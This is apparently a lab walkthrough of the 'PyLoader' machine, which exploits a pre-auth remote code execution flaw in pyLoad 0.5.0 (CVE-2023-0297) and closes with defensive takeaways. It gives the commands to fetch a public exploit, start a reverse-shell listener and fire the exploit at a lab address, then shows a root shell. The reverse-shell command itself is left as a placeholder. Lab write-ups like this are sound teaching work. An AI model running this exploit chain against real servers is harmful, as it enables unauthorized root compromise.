Finding the public PoC​

Search Exploit-DB for pyLoad:

searchsploit -m 51532

That copies the public PoC locally:

Exploit: PyLoad 0.5.0 - Pre-auth Remote Code Execution (RCE)
Codes: CVE-2023-0297
Path: /usr/share/exploitdb/exploits/python/webapps/51532.py

The important part of the finding is not the script name. It is that the issue is pre-auth. No login, no password spray, and no secondary foothold are required before command execution.

Catching the shell​

Start a listener before firing the exploit. In this walkthrough we used Penelope:

penelope -p 5555

Then run the PoC against the pyLoad UI and deliver a reverse shell callback to the attacker host.

python3 51532.py -u http://192.168.120.26:9666/ -c "<reverse-shell-command>"

Expected operator feedback from the PoC:

[+] Check if target host is alive: http://192.168.120.26:9666/
[+] Host up, let's exploit!
[+] The exploit has be executeded in target machine.

On the listener side, Penelope reports a new session from the target and drops into an interactive shell.

Confirming impact​

Once the callback lands, verify identity:

id

uid=0(root) gid=0(root) groups=0(root)

In this lab path, initial access and root are the same step. There is no separate privilege-escalation chain after the reverse shell.

Root outcome​

What matters at the end is the exposure model: a download-manager web UI on a non-standard port, reachable without authentication hardening, and sitting on a vulnerable pyLoad release.

That is why PyLoader works as a teaching machine. The chain is short and clean:

• recon finds only SSH and 9666
• service analysis names the product as pyLoad
• CVE research points to pre-auth RCE
• exploitation returns root directly

Why this machine is a good lesson​

PyLoader is memorable because it punishes shallow assumptions and rewards precise fingerprinting.

If you ignore the title and server header, you treat it like a generic web box. If you recognize pyLoad early, the path is almost immediate. It is also a useful reminder that "download manager" and "media helper" services are still remote code execution surfaces when they bind to the network and fall behind on patches.

Defensive takeaways​

If you run pyLoad anywhere in your environment, the lessons are straightforward:

1. Patch past the vulnerable pyLoad releases tied to CVE-2023-0297.
2. Do not expose the web UI to untrusted networks without strong auth and network controls.
3. Treat non-standard management ports the same way you treat port 80 or 443 — still attack surface.
4. Assume pre-auth RCE in an admin-adjacent service is a full host compromise until proven otherwise.

References​

• CVE-2023-0297 (NVD)
• Exploit-DB 51532
• Penelope

Unauthorized access is illegal. This write-up is for education and authorized lab work only.